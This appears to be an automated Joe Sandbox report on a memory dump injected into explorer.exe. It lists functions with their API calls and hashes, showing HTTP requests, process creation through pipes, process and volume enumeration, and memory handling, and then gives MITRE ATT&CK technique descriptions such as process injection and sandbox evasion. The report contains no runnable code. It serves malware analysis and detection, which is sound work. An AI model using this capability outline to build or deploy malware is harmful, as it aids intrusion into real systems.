Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 29b86a3ab9ddbe11ce9b9fbde145847ecb2975815f7cf14476ac95fa9b6fe6b1
Instruction ID: 44552afb8f00f9169703b2884c87b69127ea10884c0f0fe2dbafd9beff3abd0b
Opcode Fuzzy Hash: 29b86a3ab9ddbe11ce9b9fbde145847ecb2975815f7cf14476ac95fa9b6fe6b1
Instruction Fuzzy Hash: 9D21CF3231968597D760CB15E49479AB3E1F3CC788F805125EA8D83B98EB7DCA45CF00

Function 02E082B4 Relevance: 1.5, APIs: 1, Instructions: 13
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 02E082E5

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: db712fdc7e1c69cc4b3c08b17230264df9142ca57683cf2c056e2540a21d56f0
Instruction ID: 790da91d06ede32bbebe94b440921751c36fe103ea79f1fc622ba9e975dee985
Opcode Fuzzy Hash: db712fdc7e1c69cc4b3c08b17230264df9142ca57683cf2c056e2540a21d56f0
Instruction Fuzzy Hash: 3DE0EC72608A8182D7209B60E4443897760F3853B8F944315EAF812AE8CF7CC29ACB04

Function 02E0C704 Relevance: 1.5, APIs: 1, Instructions: 11
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDelayExecution.NTDLL ref: 02E0C726

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 551b8892589dcd62e4628d181c76442dc689c90fb238e82810fb464567079569
Instruction ID: b41ab7807dbd2398c6ec9a0090082ec3fbc5a2b47d9b15309fa2981eb82ade27
Opcode Fuzzy Hash: 551b8892589dcd62e4628d181c76442dc689c90fb238e82810fb464567079569
Instruction Fuzzy Hash: 22D0C77270468087CB155B14E44520E7760F795344FD04529E68D45754DA3CC265CF04

Function 02E041B4 Relevance: 9.1, APIs: 6, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e74177ae8edb192d765eaf2097ca1072eb58028511075e98d8bdaa32260b05f
Instruction ID: 893a595936b1771796b330c32320456e054c11b25fb76d3c910b7501c31daa78
Opcode Fuzzy Hash: 9e74177ae8edb192d765eaf2097ca1072eb58028511075e98d8bdaa32260b05f
Instruction Fuzzy Hash: C531853129864182E750ABB5FAD435E7351FB94368F40B325FA6A466D4DF7CC4D6CB00

Function 02E05160 Relevance: 7.6, APIs: 5, Instructions: 146
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

HttpOpenRequestA.WININET ref: 02E05305
HttpOpenRequestA.WININET ref: 02E05391
InternetSetOptionA.WININET ref: 02E053D0
HttpSendRequestA.WININET ref: 02E05418
HttpSendRequestA.WININET ref: 02E05439

Part of subcall function 02E082B4: NtFreeVirtualMemory.NTDLL ref: 02E082E5

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: HttpRequest$MemoryOpenSendVirtual$AllocateFreeInternetOption
String ID:
API String ID: 2140924187-0
Opcode ID: 835e16c16b22b6174a5754b7d25c6c2f2fafd1e7607b4187fe6f6a54c6a90b8c
Instruction ID: 1e368a0edcabb53a0e3987c1b8c4688815b80e8169df37fb40dfe1c8938100c4
Opcode Fuzzy Hash: 835e16c16b22b6174a5754b7d25c6c2f2fafd1e7607b4187fe6f6a54c6a90b8c
Instruction Fuzzy Hash: BA71D832249BC486DB60DB14F48439AB7B5F788788F905126EACD42BA8DF7CC586CF40

Function 02E08C30 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstVolumeW.KERNEL32 ref: 02E08C6A
GetVolumeInformationW.KERNEL32 ref: 02E08CBE
FindVolumeClose.KERNEL32 ref: 02E08CCD

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Volume$Find$CloseFirstInformation
String ID:
API String ID: 586543143-0
Opcode ID: 143e719ddec52287121586d21c481339464cc0c977c9cf5c64880edffd785b6e
Instruction ID: f7ca91f454aad21bd5e717107bd5d7faa049061d7b255c9dd98e71fdfe2a92be
Opcode Fuzzy Hash: 143e719ddec52287121586d21c481339464cc0c977c9cf5c64880edffd785b6e
Instruction Fuzzy Hash: 0111EF72259A80D6D760DB10F4C439BB3B1F785354F904626E69942BE8DF7CC59ACB40

Function 02E08A58 Relevance: 1.6, APIs: 1, Instructions: 94
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 02E08B6D

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: dd05d69051d8526e51a2bec147cb8dd081a76b38c43059c36bd5d7d32c083d26
Instruction ID: e1c04929ddd5454eb864f68f685dc5428759ce147b575e4c11a945c5346e77e9
Opcode Fuzzy Hash: dd05d69051d8526e51a2bec147cb8dd081a76b38c43059c36bd5d7d32c083d26
Instruction Fuzzy Hash: 2A41AC76619A4487CB50CB19E49035AB7A0F3C8B84F505126EBCE83B68DB3CD591CF00

Function 02E0545D Relevance: 1.5, APIs: 1, Instructions: 42
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpOpenRequestA.WININET ref: 02E05305

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: b63ba8eaa06b2abc429e5557986bc836de0240013f192fa4620f15fbf5b13976
Instruction ID: 0660e680afb00df859deb72517dc25ef154ddf224b6017c4f9f2b9b32f67d1ec
Opcode Fuzzy Hash: b63ba8eaa06b2abc429e5557986bc836de0240013f192fa4620f15fbf5b13976
Instruction Fuzzy Hash: 70110D32149BC5C6EB61CB54F4C439AB7B0F788388F945526EAC942AA8DB7DC4C6CF01

Function 02E06C6C Relevance: 1.5, APIs: 1, Instructions: 17
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 02E06C90

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0926225cdb8231c0071b822caba6bf63f9d334e810094fff266de868dfe5a6cc
Instruction ID: 49647b9159f838499927a9de58460ef5e62c4a0c7c4472d5780673d03af1f33e
Opcode Fuzzy Hash: 0926225cdb8231c0071b822caba6bf63f9d334e810094fff266de868dfe5a6cc
Instruction Fuzzy Hash: 98E04F72664B8085DB64DB20F4C838A67A4F3C8398F806026E58F46B68CF3CC1DACB00

Non-executed Functions

Function 02E02164 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 206pipefileprocessCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32 ref: 02E02233
SetHandleInformation.KERNEL32 ref: 02E0224D
CreatePipe.KERNEL32 ref: 02E0226E
SetHandleInformation.KERNEL32 ref: 02E02288
CreatePipe.KERNEL32 ref: 02E022A9
SetHandleInformation.KERNEL32 ref: 02E022C3
CreateProcessW.KERNEL32 ref: 02E02385

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

PeekNamedPipe.KERNEL32 ref: 02E02434
ReadFile.KERNEL32 ref: 02E02490
PeekNamedPipe.KERNEL32 ref: 02E024E4
ReadFile.KERNEL32 ref: 02E02540
GetExitCodeProcess.KERNEL32 ref: 02E02579
TerminateProcess.KERNEL32 ref: 02E025AA
CloseHandle.KERNEL32 ref: 02E025B8

Part of subcall function 02E0C704: NtDelayExecution.NTDLL ref: 02E0C726

CloseHandle.KERNEL32 ref: 02E025C6
CloseHandle.KERNEL32 ref: 02E025D4
CloseHandle.KERNEL32 ref: 02E025E2

Part of subcall function 02E082B4: NtFreeVirtualMemory.NTDLL ref: 02E082E5

Strings

h, xrefs: 02E022C9

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Handle$Pipe$CloseCreate$InformationProcess$FileMemoryNamedPeekReadVirtual$AllocateCodeDelayExecutionExitFreeTerminate
String ID: h
API String ID: 30365702-2439710439
Opcode ID: 1524f5b28a2edb6cb4b23f8a254870fd250a8d12787243c2afd0398788242095
Instruction ID: 5f464d97b4f7578efd4bed431793f98d95a687d13b59daed65e509feaf74574f
Opcode Fuzzy Hash: 1524f5b28a2edb6cb4b23f8a254870fd250a8d12787243c2afd0398788242095
Instruction Fuzzy Hash: 4CC1B636248BC08AE760DB55F49879FB7A1F3C4758F509125EA8983A68DFBDC489CF40

Function 02E080B8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 02E08123
NtCreateFile.NTDLL ref: 02E081A0

Strings

0, xrefs: 02E0810B
@, xrefs: 02E08136

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: CreateFileInitStringUnicode
String ID: 0$@
API String ID: 2498367268-1545510068
Opcode ID: 163a1ef7f33438d4532239550843a801b488fff278782a1d37a7daa1ffc6847a
Instruction ID: 820211bce160af1ea672fcdb80982780550de44ab62994c9d6b402f1ecce0b97
Opcode Fuzzy Hash: 163a1ef7f33438d4532239550843a801b488fff278782a1d37a7daa1ffc6847a
Instruction Fuzzy Hash: 1521CF721087C48AE760CF14F49438BBBA1F384398F90821AE6D947AA8CB7DC589CF40

Function 02E02B28 Relevance: 6.1, APIs: 4, Instructions: 112fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

FindFirstFileA.KERNEL32 ref: 02E02BE7
wsprintfA.USER32 ref: 02E02CAD
FindNextFileA.KERNEL32 ref: 02E02CDA
FindClose.KERNEL32 ref: 02E02CED

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Find$File$AllocateCloseFirstMemoryNextVirtualwsprintf
String ID:
API String ID: 65906682-0
Opcode ID: 19b5a71f4bd669ed1cbe17d3c7cdf1e0173d750f2f9a06502065251e799152bb
Instruction ID: 62d4c4a48e4b456e756cd60d339f09e94d1cb9308419cd8d5ecc86fa17e32554
Opcode Fuzzy Hash: 19b5a71f4bd669ed1cbe17d3c7cdf1e0173d750f2f9a06502065251e799152bb
Instruction Fuzzy Hash: 1D513332158BC591DB50DB14F4C439EB3A5F784788F809525EB8D43AA8EF7CC586CB00

Function 02E100E8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b4a1f1a506ad700acba97789d8e39b3a15912a23b594e6d4674997956451e9
Instruction ID: de9a56deca0b33d7287cccdd455042abb3b9b72369244e177aa27a08ee67ca41
Opcode Fuzzy Hash: e2b4a1f1a506ad700acba97789d8e39b3a15912a23b594e6d4674997956451e9
Instruction Fuzzy Hash: 4BD0C9F79CABC407FE221A2588682DD2F10FB51F14F4AE8AACAD14A183994454854A16

Function 02E10610 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16ba6c6acdc4af1a81c610d49a86e1146ea0e6905794ada74ca67c290d43a8a
Instruction ID: 1e7cf6d52023175377210c866efa56614b7fe7256831da5a596980dbf2fe7961
Opcode Fuzzy Hash: b16ba6c6acdc4af1a81c610d49a86e1146ea0e6905794ada74ca67c290d43a8a
Instruction Fuzzy Hash: 2890025260E3D015C7039A6804345083F325042800349808B8391822838559046C8316

Function 02E0C860 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 02E0C8CC
HttpOpenRequestW.WININET ref: 02E0C91E
InternetCloseHandle.WININET ref: 02E0C9DA
InternetCloseHandle.WININET ref: 02E0C9ED

Strings

GET, xrefs: 02E0C912

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Internet$CloseHandle$ConnectHttpOpenRequest
String ID: GET
API String ID: 830097650-1805413626
Opcode ID: 657b085bd4e3b228aebded96fa21e341c1e22246fcb3bdea63752328c3324ad3
Instruction ID: 8cb54c8ee2033886741d1482e47a5cd9070ecea925d8340c813dda518de7b868
Opcode Fuzzy Hash: 657b085bd4e3b228aebded96fa21e341c1e22246fcb3bdea63752328c3324ad3
Instruction Fuzzy Hash: 3E41C672518A8086E720CB54F49975BB7A0F3C4758F606126EBC987A68DFBDC499CB40

Function 02E02D50 Relevance: 15.2, APIs: 10, Instructions: 232processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 02E02D7F

Part of subcall function 02E0B388: NtAllocateVirtualMemory.NTDLL ref: 02E0B3BE

Process32First.KERNEL32 ref: 02E02E09
Process32Next.KERNEL32 ref: 02E02E2A
Process32First.KERNEL32 ref: 02E02E56
Process32Next.KERNEL32 ref: 02E02EA3
Process32First.KERNEL32 ref: 02E02EBA
wsprintfA.USER32 ref: 02E02FF5
wsprintfA.USER32 ref: 02E0309B
Process32Next.KERNEL32 ref: 02E031D8
CloseHandle.KERNEL32 ref: 02E031F5

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Process32$FirstNext$wsprintf$AllocateCloseCreateHandleMemorySnapshotToolhelp32Virtual
String ID:
API String ID: 3605396869-0
Opcode ID: 8df3ec741e24db44c491636e4838e4e767a92c727dd18a58b057ff5a21d5a57b
Instruction ID: e9ff1c5e374a71da9caeb47fb87890f974d3b3fa1285b71910de7a7de55a62d6
Opcode Fuzzy Hash: 8df3ec741e24db44c491636e4838e4e767a92c727dd18a58b057ff5a21d5a57b
Instruction Fuzzy Hash: FFC1E132249BC595DA70DB14E4D439AB3A5F788788F845125EBCD43BA8EF78C586CF40

Function 02E0BB44 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 02E0BBB2
MapViewOfFile.KERNEL32 ref: 02E0BBE5
VirtualFree.KERNEL32 ref: 02E0BCF3
UnmapViewOfFile.KERNEL32 ref: 02E0BD0B
CloseHandle.KERNEL32 ref: 02E0BD16

Strings

@, xrefs: 02E0BBCC

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: File$View$CloseCreateFreeHandleMappingUnmapVirtual
String ID: @
API String ID: 1610889594-2766056989
Opcode ID: ad1cb295e95c51e9872045dcc49814874592f1d56c5c39f8443b6ff2deebca5c
Instruction ID: dc379e538667d3b9d681cde1332a7ef6dfbff9a1863c6898690e15b6ad709cc6
Opcode Fuzzy Hash: ad1cb295e95c51e9872045dcc49814874592f1d56c5c39f8443b6ff2deebca5c
Instruction Fuzzy Hash: 2241FC32259B85C2DB60DB15E4D436EB361F7C4B98F50A125EA8E43BA8DF7CC486CB40

Function 02E0C5C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 02E0C62E
MapViewOfFile.KERNEL32 ref: 02E0C661
VirtualFree.KERNEL32 ref: 02E0C6BE
UnmapViewOfFile.KERNEL32 ref: 02E0C6D6
CloseHandle.KERNEL32 ref: 02E0C6E1

Strings

@, xrefs: 02E0C648

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: File$View$CloseCreateFreeHandleMappingUnmapVirtual
String ID: @
API String ID: 1610889594-2766056989
Opcode ID: 89cc15fca75ace34c048844633d37e36198ece7b99378586f91bb717b3fa10ee
Instruction ID: b731b8718621e276e3b20c0ccc0458f4bfc62e9311a1fd23a8430e26a94e3181
Opcode Fuzzy Hash: 89cc15fca75ace34c048844633d37e36198ece7b99378586f91bb717b3fa10ee
Instruction Fuzzy Hash: E0310A32258AC482D7609B55F4C435AB360F7C8B94F50A622EA9E93BA4DF7CC4D6CB00

Function 02E0260C Relevance: 7.7, APIs: 5, Instructions: 174processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 02E0262E
Process32First.KERNEL32 ref: 02E02671
wsprintfA.USER32 ref: 02E027B4
wsprintfA.USER32 ref: 02E0284E
Process32Next.KERNEL32 ref: 02E02970

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Process32wsprintf$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 4137211488-0
Opcode ID: f7cf74ccca81ea4395c2b22979aaa675c72b38b0cad517df50d9b68bbf6d3949
Instruction ID: 6c4e79fe9f28a573efcbc8b062a2298d37b2c4ebd1119038abe73246581cde8c
Opcode Fuzzy Hash: f7cf74ccca81ea4395c2b22979aaa675c72b38b0cad517df50d9b68bbf6d3949
Instruction Fuzzy Hash: 42811C36249BC5D6CA60CB15E4C439AB3A5F788784F909525EB8D43BA8EF78C586CF40

Function 02E0900C Relevance: 7.6, APIs: 5, Instructions: 121networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 02E09073
InternetCloseHandle.WININET ref: 02E09242
InternetCloseHandle.WININET ref: 02E09255

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: Internet$CloseHandle$Open
String ID:
API String ID: 2762225225-0
Opcode ID: f4ab23ea1251bde643204e4cb4ec55d253b41b4cc402ec1216c39552ba1b096d
Instruction ID: 7c553d6f14e11507f45ac562f79d779088a03e208164d8635eb4956bf7b33e0a
Opcode Fuzzy Hash: f4ab23ea1251bde643204e4cb4ec55d253b41b4cc402ec1216c39552ba1b096d
Instruction Fuzzy Hash: 9651F472258A8086D760CF55F49475AB7A0F3C9B98F40A025FB8A83BA9DF7DC485CF00

Function 02E0B9A0 Relevance: 7.6, APIs: 5, Instructions: 79processCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 02E0BA70
wsprintfW.USER32 ref: 02E0BAC2
CreateProcessW.KERNEL32 ref: 02E0BB11
CloseHandle.KERNEL32 ref: 02E0BB24
CloseHandle.KERNEL32 ref: 02E0BB2F

Memory Dump Source

Source File: 00000008.00000002.4569753112.0000000002E00000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2e00000_explorer.jbxd

Similarity

API ID: CloseHandlewsprintf$CreateProcess
String ID:
API String ID: 2803068115-0
Opcode ID: b18e833e66d955f35563fdfa70050700d38f2023f4f5055f34abfc6722212c5f
Instruction ID: 45bb3c1f3a72a508b6fc6c2c06803474b32dd477f91b0f6b5156a6da8f048efc
Opcode Fuzzy Hash: b18e833e66d955f35563fdfa70050700d38f2023f4f5055f34abfc6722212c5f
Instruction Fuzzy Hash: 1641FB72298BC5D6DB60DB11E4943ABB761F7C4348F409429E6CD42AA8EF7CC59ACF40

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
